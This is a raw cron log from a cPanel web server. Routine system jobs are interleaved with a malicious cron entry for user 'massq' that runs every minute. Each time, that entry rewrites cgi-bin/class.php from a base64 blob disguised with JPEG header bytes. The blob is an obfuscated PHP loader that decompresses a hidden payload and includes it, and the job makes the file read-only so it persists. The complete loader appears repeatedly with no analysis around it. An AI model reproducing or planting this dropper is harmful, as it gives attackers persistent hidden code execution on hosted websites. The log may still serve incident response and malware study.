Sep  3 23:40:01 server CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:41:01 server CROND[6941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:41:01 server CROND[6943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:41:01 server CROND[6942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:42:01 server CROND[7378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:42:01 server CROND[7379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:42:01 server CROND[7381]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:42:01 server CROND[7380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:43:01 server CROND[7766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:43:01 server CROND[7768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:43:01 server CROND[7767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:44:01 server CROND[8149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:44:01 server CROND[8150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:44:01 server CROND[8148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:45:01 server CROND[8640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:45:01 server CROND[8647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:45:01 server CROND[8649]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:45:01 server CROND[8650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:45:01 server CROND[8652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:45:01 server CROND[8654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:45:01 server CROND[8653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:46:01 server CROND[9479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:46:01 server CROND[9480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:46:01 server CROND[9481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:47:01 server CROND[9849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:47:01 server CROND[9850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:47:01 server CROND[9852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:48:01 server CROND[10232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:48:01 server CROND[10233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:48:01 server CROND[10234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:49:01 server CROND[10609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:49:01 server CROND[10610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:49:01 server CROND[10611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:50:01 server CROND[11084]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:50:01 server CROND[11087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:50:01 server CROND[11090]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 23:50:01 server CROND[11089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 23:50:01 server CROND[11091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:50:01 server CROND[11088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:50:01 server CROND[11092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:50:01 server CROND[11095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:50:01 server CROND[11093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:51:01 server CROND[11915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:51:01 server CROND[11916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:51:01 server CROND[11917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:52:01 server CROND[12283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:52:01 server CROND[12284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 23:52:01 server CROND[12285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:53:01 server CROND[12683]: (root) CMD (/usr/lib64/sa/sa2 -A)
